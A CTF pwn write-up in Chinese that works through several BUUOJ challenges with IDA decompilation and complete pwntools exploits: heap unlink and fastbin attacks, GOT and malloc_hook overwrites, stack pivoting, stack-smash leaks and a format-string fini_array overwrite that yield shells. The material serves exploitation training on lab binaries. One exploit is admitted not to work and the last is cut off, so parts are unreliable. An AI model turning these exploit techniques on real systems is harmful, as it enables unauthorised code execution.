pwn Wp

pwn

这里的题目我已经写了一部分了之前的wp会分开补发,现在的是我在学的时候学的一个顺序

hitcontraining_bamboobox

这个题目还是比较简单的一个题目,因此我们这里直接进行代码的分析直接使用ida进行一个反编译

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
unsigned __int64 change_item()
{
  int v1; // [rsp+4h] [rbp-2Ch]
  int v2; // [rsp+8h] [rbp-28h]
  char buf[16]; // [rsp+10h] [rbp-20h] BYREF
  char nptr[8]; // [rsp+20h] [rbp-10h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  if ( num )
  {
    printf("Please enter the index of item:");
    read(0, buf, 8uLL);
    v1 = atoi(buf);
    if ( *((_QWORD *)&unk_6020C8 + 2 * v1) )
    {
      printf("Please enter the length of item name:");
      read(0, nptr, 8uLL);
      v2 = atoi(nptr);
      printf("Please enter the new name of the item:");
      *(_BYTE *)(*((_QWORD *)&unk_6020C8 + 2 * v1) + (int)read(0, *((void **)&unk_6020C8 + 2 * v1), v2)) = 0;// edit 溢出
    }
    else
    {
      puts("invaild index");
    }
  }
  else
  {
    puts("No item in the box");
  }
  return __readfsqword(0x28u) ^ v5;
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
int show_item()
{
  int i; // [rsp+Ch] [rbp-4h]

  if ( !num )
    return puts("No item in the box");
  for ( i = 0; i <= 99; ++i )
  {
    if ( *((_QWORD *)&unk_6020C8 + 2 * i) )
      printf("%d : %s", i, *((const char **)&unk_6020C8 + 2 * i));
  }
  return puts(byte_401089);
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
__int64 add_item()
{
  int i; // [rsp+4h] [rbp-1Ch]
  int v2; // [rsp+8h] [rbp-18h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  if ( num > 99 )
  {
    puts("the box is full");
  }
  else
  {
    printf("Please enter the length of item name:");
    read(0, buf, 8uLL);
    v2 = atoi(buf);
    if ( !v2 )
    {
      puts("invaild length");
      return 0LL;
    }
    for ( i = 0; i <= 99; ++i )
    {
      if ( !*((_QWORD *)&unk_6020C8 + 2 * i) )
      {
        *((_DWORD *)&itemlist + 4 * i) = v2;
        *((_QWORD *)&unk_6020C8 + 2 * i) = malloc(v2);
        printf("Please enter the name of item:");
        *(_BYTE *)(*((_QWORD *)&unk_6020C8 + 2 * i) + (int)read(0, *((void **)&unk_6020C8 + 2 * i), v2)) = 0;
        ++num;
        return 0LL;
      }
    }
  }
  return 0LL;
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
unsigned __int64 remove_item()
{
  int v1; // [rsp+Ch] [rbp-14h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( num )
  {
    printf("Please enter the index of item:");
    read(0, buf, 8uLL);
    v1 = atoi(buf);
    if ( *((_QWORD *)&unk_6020C8 + 2 * v1) )
    {
      free(*((void **)&unk_6020C8 + 2 * v1));
      *((_QWORD *)&unk_6020C8 + 2 * v1) = 0LL;
      *((_DWORD *)&itemlist + 4 * v1) = 0;
      puts("remove successful!!");
      --num;
    }
    else
    {
      puts("invaild index");
    }
  }
  else
  {
    puts("No item in the box");
  }
  return __readfsqword(0x28u) ^ v3;
}

至此我已经把我该脚本中的核心代码部分进行了一个粘贴,下面我进行一个解释

add:

1
这个函数主要是对堆块的一个创建,和内如的一个写入

edit:

1
出现堆溢出的情况

free:

1
这里主要是没有出现uaf

show:

1
创建查看到一个文件的内容

这里的思路是:

  • 通过edit对chunk进行一个溢出

  • 攻击手法使用通过fastbin,获得malloc_hook或者使用unlink使用free hook连接system

这里我们我们使用的方法是通过unlink进行一个freehook的获取攻击

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from pwn import *
from LibcSearcher import *
#r=process('bamboobox')
r=remote('node3.buuoj.cn',29464)
elf=ELF('bamboobox')
context.log_level="debug"


def add(length,context):
    r.recvuntil("Your choice:")
    r.sendline("2")
    r.recvuntil("Please enter the length of item name:")
    r.sendline(str(length))
    r.recvuntil("Please enter the name of item:")
    r.send(context)

def edit(idx,length,context):
    r.recvuntil("Your choice:")
    r.sendline("3")
    r.recvuntil("Please enter the index of item:")
    r.sendline(str(idx))
    r.recvuntil("Please enter the length of item name:")
    r.sendline(str(length))
    r.recvuntil("Please enter the new name of the item:")
    r.send(context)

def free(idx):
    r.recvuntil("Your choice:")
    r.sendline("4")
    r.recvuntil("Please enter the index of item:")
    r.sendline(str(idx))

def show():
    r.sendlineafter("Your choice:", "1")

add(0x40,'a' * 8)
add(0x80,'b' * 8)
add(0x80,'c' * 8)
add(0x20,'/bin/sh\x00')
#gdb.attach(r)

ptr=0x6020c8
fd=ptr-0x18
bk=ptr-0x10

fake_chunk=p64(0)
fake_chunk+=p64(0x41)
fake_chunk+=p64(fd)
fake_chunk+=p64(bk)
fake_chunk+='\x00'*0x20
fake_chunk+=p64(0x40)
fake_chunk+=p64(0x90)

edit(0,len(fake_chunk),fake_chunk)
#gdb.attach(r)

free(1)
free_got=elf.got['free']
log.info("free_got:%x",free_got)
payload=p64(0)+p64(0)+p64(0x40)+p64(free_got)
edit(0,len(fake_chunk),payload)
#gdb.attach(r)

show()
free_addr=u64(r.recvuntil("\x7f")[-6: ].ljust(8, '\x00')) 
log.info("free_addr:%x",free_addr)
libc=LibcSearcher('free',free_addr)
libc_base=free_addr-libc.dump('free')
log.info("libc_addr:%x",libc_base)
system_addr=libc_base+libc.dump('system')
log.info("system_addr:%x",system_addr)
edit(0,0x8,p64(system_addr))

#gdb.attach(r)


free(3)
r.interactive()
‘’’
这里的思路主要是通过unlink吧chunk0块申请出来然后再这个位置吧我们的free hook写入进行获取到libc地址最后在这个位置写入system函数的地址来获取权限
‘’‘

fastbin:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *

p = process('/home/fofa/bamboobox')
libc = ELF('/home/fofa/桌面/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
context.log_level = 'debug'

def duan():
    gdb.attach(p)
    pause()
def add(size,content):
    p.sendlineafter('choice:','2')
    p.sendlineafter('name:',str(size))
    p.sendafter('item:',content)
def show():
    p.sendlineafter('choice:','1')
def edit(index,size,content):
    p.sendlineafter('choice:','3')
    p.sendlineafter('item:',str(index))
    p.sendlineafter('name:',str(size))
    p.sendafter('item:',content)
def delete(index):
    p.sendlineafter('choice:','4')
    p.sendlineafter('item:',str(index))

og = [0x45226,0x4527a,0xf0364,0xf1207]

add(0x20,'aaaaaaaa')
add(0x20,'bbbbbbbb')
add(0x60,'cccccccc')
add(0x10,'cccccccc')

edit(0,0x30,b'a'*0x20+p64(0)+p64(0xa1))
delete(1)
add(0x20,'aaaaaaaa')
show()
libc_base = u64(p.recv(0x3a)[-6:].ljust(8,b'\x00'))-88-0x10-libc.symbols['__malloc_hook']
malloc_hook = libc_base+libc.symbols['__malloc_hook']
realloc = libc_base+libc.symbols['realloc']
print ('libc_base-->'+hex(libc_base))
print ('malloc_hook-->'+hex(malloc_hook))
shell = libc_base+og[3]

add(0x60,'bbbbbbbb')
delete(4)
edit(2,0x10,p64(malloc_hook-0x23))
add(0x60,'aaaaaaaa')
add(0x60,'a'*(0x13-0x8)+p64(shell)+p64(realloc+20))
# p.sendlineafter('choice:','2')
# p.sendlineafter('name:',str(0x10))

gdb.attach(p)
p.interactive()
'''
这个使用的方法同样可以调用,但是需要调一下,
思路:
构建一个溢出,获得libc,再通过og进行一个权限获取,主要是malloc-hook-0x23的位置有一个0x70的一个size,可以申请malloc-hook出来,从而获得权限,但是我是用这个方法并不能chengg
'''

actf_2019_babystack

这里我们直接看保护和ida反编译

1
2
3
4
5
6
[*] '/home/fofa/ACTF_2019_babystack'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
__int64 __fastcall main(int a1, char **a2, char **a3)
{
  _BYTE s[208]; // [rsp+0h] [rbp-D0h] BYREF

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  signal(14, (__sighandler_t)handler);
  alarm(0x3Cu);
  memset(s, 0, sizeof(s));
  puts("Welcome to ACTF's babystack!");
  sleep(3u);
  puts("How many bytes of your message?");
  putchar(62);
  sub_400A1A();
  if ( nbytes <= 0xE0 )
  {
    printf("Your message will be saved at %p\n", s);
    puts("What is the content of your message?");
    putchar(62);
    read(0, s, nbytes);
    puts("Byebye~");
    return 0LL;
  }
  else
  {
    puts("I've checked the boundary!");
    return 1LL;
  }
}

在这里我们知道我们写入的数据就只能放到返回地址的位置因此我们只能使用栈迁移进行一个攻击这里直接使用exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64',os='linux')

elf=ELF('/home/fofa/ACTF_2019_babystack')
libc=ELF('/home/fofa/buulibc/libc-2.27-64.so')
#p=process('./ACTF_2019_babystack')
p=remote('node5.buuoj.cn',26823)

main=0x4008f6
leave=0x400a18
pop_rdi=0x400ad3
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

p.recvuntil('>')
p.sendline(str(0xe0))
p.recvuntil('Your message will be saved at ')
s_addr=int(p.recvuntil('\n',drop=True),16)

payload = b'a'*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
payload += b'a'*(0xd0-len(payload))+p64(s_addr)+p64(leave)

p.recvline()
p.recvuntil('>')
p.send(payload)

p.recvuntil('Byebye~\n')
puts_addr = u64(p.recvuntil('\n',drop = True).ljust(8,b'\x00'))
libcbase = puts_addr - libc.symbols['puts']
one_gadget = libcbase + 0x4f2c5


p.recvuntil('>')
p.sendline(str(0xe0))
p.recvuntil('Your message will be saved at ')
s_addr=int(p.recvuntil('\n',drop=True),16)

payload = b'a'*8 + p64(one_gadget)
payload += b'a'*(0xd0-len(payload))+p64(s_addr)+p64(leave)

p.recvline()
p.recvuntil('>')
p.send(payload)

p.interactive()

wdb2018_guess

这个题目也是要给一个有意思的题目这里就直接上ida和保护

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __WAIT_STATUS stat_loc; // [rsp+14h] [rbp-8Ch] BYREF
  __int64 v6; // [rsp+20h] [rbp-80h]
  __int64 v7; // [rsp+28h] [rbp-78h]
  char buf[48]; // [rsp+30h] [rbp-70h] BYREF
  char s2[56]; // [rsp+60h] [rbp-40h] BYREF
  unsigned __int64 v10; // [rsp+98h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  v7 = 3LL;
  LODWORD(stat_loc.__uptr) = 0;
  v6 = 0LL;
  sub_4009A6(a1, a2, a3);
  HIDWORD(stat_loc.__iptr) = open("./flag.txt", 0);
  if ( HIDWORD(stat_loc.__iptr) == -1 )
  {
    perror("./flag.txt");
    _exit(-1);
  }
  read(SHIDWORD(stat_loc.__iptr), buf, 0x30uLL);
  close(SHIDWORD(stat_loc.__iptr));
  puts("This is GUESS FLAG CHALLENGE!");
  while ( 1 )
  {
    if ( v6 >= v7 )
    {
      puts("you have no sense... bye :-) ");
      return 0LL;
    }
    if ( !(unsigned int)sub_400A11() )
      break;
    ++v6;
    wait((__WAIT_STATUS)&stat_loc);
  }
  puts("Please type your guessing flag");
  gets(s2);
  if ( !strcmp(buf, s2) )
    puts("You must have great six sense!!!! :-o ");
  else
    puts("You should take more effort to get six sence, and one more challenge!!");
  return 0LL;
}

这里这个就是一个逻辑:我们连续输入3次并且,他再stack上写入了flag这个文件因此我们需要获取到栈上的一个数据,这里需要泄露数据,注意一个要点是我们canary溢出后还是可以运行的所以可以使用canary进行一个泄露信息,这里我们可以使用的方法是通过libc的函数来泄露栈的地址,获取flag文件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#coding:utf8
from pwn import *
from LibcSearcher import *

p = process('/home/fofa/GUESS')
# p = remote('node5.buuoj.cn',29278)
elf = ELF('/home/fofa/GUESS')
puts_got = elf.got['puts']
context.log_level="debug"

#泄露puts地址


payload=b'a'*0x128 + p64(puts_got)
p.sendlineafter('Please type your guessing flag',payload)
p.recvuntil('stack smashing detected ***: ')

puts_addr = u64(p.recv(6).ljust(8,b'\x00'))
info("puta_addr:"+hex(puts_addr))
libc=ELF('/home/fofa/桌面/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')

libc_base = puts_addr - libc.sym['puts']
environ_addr = libc_base + libc.sym['__environ']
print ('environ_addr=',hex(environ_addr))

#泄露栈地址
payload=b'a'*0x128 + p64(environ_addr)
p.sendlineafter('Please type your guessing flag',payload)
#

p.recvuntil('stack smashing detected ***: ')
stack_addr = u64(p.recv(6).ljust(8,b'\x00'))
print ('stack_addr=',hex(stack_addr))
# gdb.attach(p)
gdb.attach(p)
pause()
flag_addr = stack_addr - 0x168
print ('flag_addr=',hex(flag_addr))
#泄露flag
payload=b'a'*0x128 + p64(flag_addr)
p.sendlineafter('Please type your guessing flag',payload)

p.interactive()

zctf_2016_note3

ida

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int addr()
{
  int i; // [rsp+Ch] [rbp-14h]
  __int64 size; // [rsp+10h] [rbp-10h]
  void *v3; // [rsp+18h] [rbp-8h]

  for ( i = 0; i <= 6 && *(&ptr + i); ++i )
    ;
  if ( i == 7 )
    puts("Note is full, add fail");
  puts("Input the length of the note content:(less than 1024)");
  size = sub_4009B9();
  if ( size < 0 )
    return puts("Length error");
  if ( size > 1024 )
    return puts("Content is too long");
  v3 = malloc(size);
  puts("Input the note content:");
  sub_4008DD(v3, size, 10LL);
  *(&ptr + i) = v3;
  qword_6020C0[i + 8] = size;//这个位置写了chunk的位置,但是该位置和我们的chunk的地址内存存放地点是同一个数组,因此可能存在着一个溢出,size的一个篡改的问题
  qword_6020C0[0] = (__int64)*(&ptr + i);
  return printf("note add success, the id is %d\n", i);
}
1
2
3
4
int sub_400BFD()
{
  return puts("No show, No leak.");
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int sub_400C0D()
{
  __int64 v0; // rax
  __int64 v1; // rax
  __int64 v3; // [rsp+8h] [rbp-8h]

  puts("Input the id of the note:");
  v0 = sub_4009B9();
  v3 = v0 % 7//验证是否是7的倍数要求idx要小于7
  if ( v0 % 7 >= v0 )
  {
    v1 = (__int64)*(&ptr + v3);
    if ( v1 )
    {
      puts("Input the new content:");
      sub_4008DD(*(&ptr + v3), qword_6020C0[v3 + 8], 10LL);//这里存在一个溢出
      qword_6020C0[0] = (__int64)*(&ptr + v3);
      LODWORD(v1) = puts("Edit success");
    }
  }
  else
  {
    LODWORD(v1) = puts("please input correct id.");
  }
  return v1;
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int sub_400B33()
{
  __int64 v0; // rax
  __int64 v1; // rax
  __int64 v3; // [rsp+8h] [rbp-8h]

  puts("Input the id of the note:");
  v0 = sub_4009B9();
  v3 = v0 % 7;
  if ( v0 % 7 >= v0 )
  {
    v1 = (__int64)*(&ptr + v3);
    if ( v1 )
    {
      free(*(&ptr + v3));
      if ( (void *)qword_6020C0[0] == *(&ptr + v3) )//没有uaf
        qword_6020C0[0] = 0LL;
      *(&ptr + v3) = 0LL;
      LODWORD(v1) = puts("Delete success");
    }
  }
  else
  {
    LODWORD(v1) = puts("please input correct id.");
  }
  return v1;
}

思路

1.unlink

添加7个块后,再添加一个块(i=7),这时块0的大小会被改的很大(值为块7的地址),然后在块0中构造fake_chunk并溢出到下一个块修改header数据实现unlink。需要注意第i=1个块时大小要超过fastbin的范围。

2.泄露地址

unlink后可以实现任意写。为了泄露函数地址,需要执行输出函数,可以将free@got值改为puts@plt值,然后将块i的地址改为puts@got的地址,这时调用删除功能free(块i)就可以输出puts@got的值,从而得到动态链接库加载地址,进一步得到system地址。

3.getshell

最后将atoi@got值改为system地址,然后在选择功能时输入/bin/sh即可得到shell。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
context(log_level='debug' ,arch='amd64' ,os='linux')
# io = remote("node5.buuoj.cn",27011)
io =process("/home/fofa/zctf_2016_note3")

def add_chunk(size,content):
    io.sendlineafter("option--->>",'1')
    io.sendlineafter("Input the length of the note content:(less than 1024)",str(size))
    io.sendlineafter("Input the note content:",content)

def edit_chunk(idx,content):
    io.sendlineafter("option--->>", '3')
    io.sendlineafter("Input the id of the note:", str(idx))
    io.sendlineafter("Input the new content:", content)

def delete_chunk(idx):
    io.sendlineafter("option--->>", '4')
    io.sendlineafter("Input the id of the note:", str(idx))

add_chunk(0x40, 'b'*32)
add_chunk(0x80, 'b'*32)
add_chunk(0x80, 'b'*32)
add_chunk(0x80, 'b'*32)
add_chunk(0x80, 'b'*32)
add_chunk(0x80, 'b'*32)
add_chunk(0x80, 'b'*32)
add_chunk(0x80, 'b'*32)
gdb.attach(io)
p = 0x6020C8
fd = p-0x18
bk = p-0x10
payload = p64(0) + p64(0x31) + p64(fd) + p64(bk) + b'a'*0x10 + p64(0x30) + b'b'*0x8
payload += p64(0x40) + p64(0x90)

edit_chunk(0,payload)
delete_chunk(1)
elf = ELF("/home/fofa/zctf_2016_note3")
payload = p64(0)*3 + p64(elf.got['free']) + p64(elf.got['puts']) + p64(0x6020c8)
edit_chunk(0,payload)
edit_chunk(0, p64(elf.plt['puts'])[:-1])

delete_chunk(1)

io.recvuntil('\n')
puts_addr = u64(io.recvuntil('\n')[:-1].ljust(8,b'\x00'))

info("puts_addr:"+hex(puts_addr))

libc = ELF("/home/fofa/buulibc/libc-2.23-64.so")
libc.address = puts_addr - libc.sym['puts']
sys_addr =libc.sym['system']
info("libc.address:"+hex(libc.address))
info("system:"+hex(sys_addr))

edit_chunk(2, p64(elf.got['atoi']))
edit_chunk(0, p64(sys_addr))
io.sendlineafter('option--->>','/bin/sh\x00')

# gdb.attach(io)
io.interactive()

ciscn_2019_sw_1

直接上ida

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char format[68]; // [esp+0h] [ebp-48h] BYREF

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  puts("Welcome to my ctf! What's your name?");
  __isoc99_scanf("%64s", format);
  printf("Hello ");
  printf(format);
  return 0;
}

这里我们知道这里就只有一个输入点因此要一次就出来所以要提前进行编写文件这里直接上exp

1
2
3
4
5
6
7
8
9
from pwn import *
io = remote("node5.buuoj.cn",25952)
# io = process("/home/fofa/ciscn_2019_sw_1")
payload =b'%2052c%13$hn%31692c%14$hn%356c%15$hn' +p32(0x804989c + 2) + p32(0x804989c) + p32(0x804979c)
# gdb.attach(io,'b *0x080485A8\nc')
io.sendline(payload)

io.sendline('/bin/sh\x00')
io.interactive()

总结

我们在程序中可以知道一个程序开始的第一个函数并不是main函数,也不是一个libc_start_main,而是start这个函数,因此我们需要看一下这个的汇编和代码,这里我们使用上一题的start进行一个演示

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
							   public _start
.text:08048420 _start          proc near               ; DATA XREF: LOAD:08048018↑o
.text:08048420                 xor     ebp, ebp
.text:08048422                 pop     esi
.text:08048423                 mov     ecx, esp
.text:08048425                 and     esp, 0FFFFFFF0h
.text:08048428                 push    eax
.text:08048429                 push    esp             ; stack_end
.text:0804842A                 push    edx             ; rtld_fini
.text:0804842B                 push    offset __libc_csu_fini ; fini
.text:08048430                 push    offset __libc_csu_init ; init
.text:08048435                 push    ecx             ; ubp_av
.text:08048436                 push    esi             ; argc
.text:08048437                 push    offset main     ; main
.text:0804843C                 call    ___libc_start_main
.text:08048441                 hlt
.text:08048441 _start          endp

可以在这里知道,在start结束的时候会调用__libc_start_main,而我们需要也要了解一下libc-start-main的函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
// attributes: thunk
int __cdecl __libc_start_main(
        int (__cdecl *main)(int, char **, char **),
        int argc,
        char **ubp_av,
        void (*init)(void),
        void (*fini)(void),
        void (*rtld_fini)(void),
        void *stack_end)
{
  return _libc_start_main(main, argc, ubp_av, init, fini, rtld_fini, stack_end);

可以看到,包含有main,init,fini,既然传进去了这些参数,那必然有他们的用处,main和init就不用多说了,fini是

同样,__libc_start_main的返回地址就是__libc_csu_fini,证明它是在__libc_start_main在结束后就会调用__libc_csu_fini,要是我们能对它进行一些修改,那说不定就能做一些“坏事”。我们来看看跟它相关的东西。 我们可以在fini_array段找到与__libc_csu_fini相关的东西,是数组

这个数组里存放着一些函数的指针,并且在进入__do_global_dtors_aux这个函数中会遍历并且调用各个指针,__do_global_dtors_aux_fini_array_entry是一个在程序结束时需要调用的函数的名称,它的地址偏移量在这里被存储,也就是说,如果我们能把__do_global_dtors_aux_fini_array_entry指向的地址变为main函数或者其它的地址,就可以进行一些非法操作 这就是fini_array在x86下格式化字符串的基本应用 不过需要注意的是,_init_array的下标是从小到大开始执行,而_fini_array的下标是从大到小开始执行这对我们构造payload起到非常关键的作用

同样也就是说我们使用的这个指针指向的是一个陈旭结束后的一个地址,可以通过这个地址来修改我们后面的参数是否需要在结束后是否继续调用main这个函数的的一个回调,因此这个是fini_array在格式化字符串的一个基本应用

gyctf_2020_document

这个题目还是非常简单的一个题目但是又几个坑的这里我先说逻辑

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
unsigned __int64 add()
{
  int i; // [rsp+Ch] [rbp-24h]
  _QWORD *v2; // [rsp+10h] [rbp-20h]
  _QWORD *v3; // [rsp+18h] [rbp-18h]
  __int64 s; // [rsp+20h] [rbp-10h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  for ( i = 0; i < 7; ++i )
  {
    if ( !qword_202060[i] )
    {
      v2 = malloc(8uLL);
      v3 = malloc(0x80uLL);
      if ( !v2 || !v3 )
      {
        puts("Error occured!!!");
        exit(2);
      }
      puts("add success");
      *v2 = v3;
      v2[1] = 1LL;
      puts("input name");
      memset(&s, 0, sizeof(s));
      sub_AA0(&s, 8LL);
      *v3 = s;
      puts("input sex");
      memset(&s, 0, sizeof(s));
      sub_AA0(&s, 1LL);
      puts("here");
      if ( (_BYTE)s == aW[0] )
      {
        v3[1] = 1LL;
      }
      else
      {
        puts("there");
        v3[1] = 16LL;
      }
      puts("input information");
      sub_AA0(v3 + 2, 112LL);
      qword_202060[i] = v2;
      puts("Success");
      break;
    }
  }
  if ( i == 7 )
    puts("Th3 1ist is fu11");
  return __readfsqword(0x28u) ^ v5;
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // eax
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  sub_117B(a1, a2, a3);
  sub_1125();
  while ( 1 )
  {
    while ( 1 )
    {
      sub_1138();
      read(0, buf, 8uLL);
      v3 = atoi(buf);
      if ( v3 != 2LL )
        break;
      show();
    }
    if ( v3 > 2LL )
    {
      if ( v3 == 3LL )
      {
        edit();
      }
      else if ( v3 == 4LL )
      {
        delete();
      }
    }
    else if ( v3 == 1LL )
    {
      add();
    }
  }
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
unsigned __int64 sub_1042()
{
  unsigned int v1; // [rsp+Ch] [rbp-24h]
  char buf[8]; // [rsp+20h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Give me your index : ");
  read(0, buf, 8uLL);
  v1 = atoi(buf);
  if ( v1 >= 7 )
  {
    puts("Out of list");
  }
  else if ( *((_QWORD *)&qword_202060 + v1) )
  {
    free(**((void ***)&qword_202060 + v1));
  }
  else
  {
    puts("invalid");
  }
  return __readfsqword(0x28u) ^ v3;
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
unsigned __int64 sub_E4E()
{
  unsigned int v1; // [rsp+8h] [rbp-28h]
  __int64 v2; // [rsp+10h] [rbp-20h]
  _BYTE *v3; // [rsp+18h] [rbp-18h]
  char buf[8]; // [rsp+20h] [rbp-10h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  puts("Give me your index : ");
  read(0, buf, 8uLL);
  v1 = atoi(buf);
  if ( v1 >= 7 )
  {
    puts("Out of list");
  }
  else if ( *((_QWORD *)&qword_202060 + v1) )
  {
    v2 = *((_QWORD *)&qword_202060 + v1);
    if ( *(_QWORD *)(v2 + 8) )
    {
      puts("Are you sure change sex?");
      read(0, buf, 8uLL);
      if ( buf[0] == aY[0] )
      {
        puts("3");
        v3 = (_BYTE *)(**((_QWORD **)&qword_202060 + v1) + 8LL);
        if ( *v3 == unk_13DE )
        {
          puts(&a124[2]);
          *v3 = 1;
        }
        else
        {
          puts(a124);
          *v3 = 16;
        }
      }
      else
      {
        puts(&a124[4]);
      }
      puts("Now change information");
      if ( !(unsigned int)sub_AA0(**((_QWORD **)&qword_202060 + v1) + 16LL, 112LL) )
        puts("nothing");
      *(_QWORD *)(v2 + 8) = 0LL;
    }
    else
    {
      puts("you can onyly change your letter once.");
    }
  }
  else
  {
    puts("invalid");
  }
  return __readfsqword(0x28u) ^ v5;
}

上面的几个函数大概率就可以把逻辑搞清楚了这里我们说一下思路:

1.通过uaf漏洞先泄露libc 2.申请free 3.修改free-got=system

大概的思路时这样的这里我说一下坑

1
2
在创建的时候我们知道这个文件出现了一个控制块,这个控制块指向了我们数据会存放的一个数据块的位置,同时也是你edit的要给位置,因此我们这里大概想法就是通过uaf修改来修改这个控制块的大小
这里我们可以通过我们删除的chunk0,的数据块来对其他chunk进行一个控制,这样就出现了一个堆块重叠,这里出现了一个坑就是他的free文件结束后后面的hook会影响整个system函数因此要把这个数据给清空

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
context.log_level='debug'
io = process("/home/fofa/gyctf_2020_document")
# io = remote("node5.buuoj.cn",29814)
libc = ELF("/home/fofa/buulibc/libc-2.23-64.so")

def add_chunk(name, sex, content):
    io.recvuntil('Give me your choice : \n')
    io.sendline('1')
    io.recvuntil("input name\n")
    io.send(name)
    io.recvuntil("input sex\n")
    io.send(sex)
    io.recvuntil("input information\n")
    io.send(content)


def delete_chunk(index):
    io.recvuntil('Give me your choice : \n')
    io.sendline('4')
    io.recvuntil("Give me your index : \n")
    io.sendline(str(index))


def show_chunk(index):
    io.recvuntil('Give me your choice : \n')
    io.sendline('2')
    io.recvuntil("Give me your index : \n")
    io.sendline(str(index))


def edit_chunk(index, content):
    io.recvuntil('Give me your choice : \n')
    io.sendline('3')
    io.recvuntil("Give me your index : \n")
    io.sendline(str(index))
    io.recvuntil("Are you sure change sex?\n")
    io.send('N\n')
    io.recvuntil("Now change information\n")
    io.send(content)


add_chunk('1'+'\x00'*7, 'W'+'\x00'*7, 'a'*0x70)#0
add_chunk('2'+'\x00'*7, 'w'+'\x00'*7, 'b'*0x70)#1

delete_chunk(0)
show_chunk(0)
# io.recv()
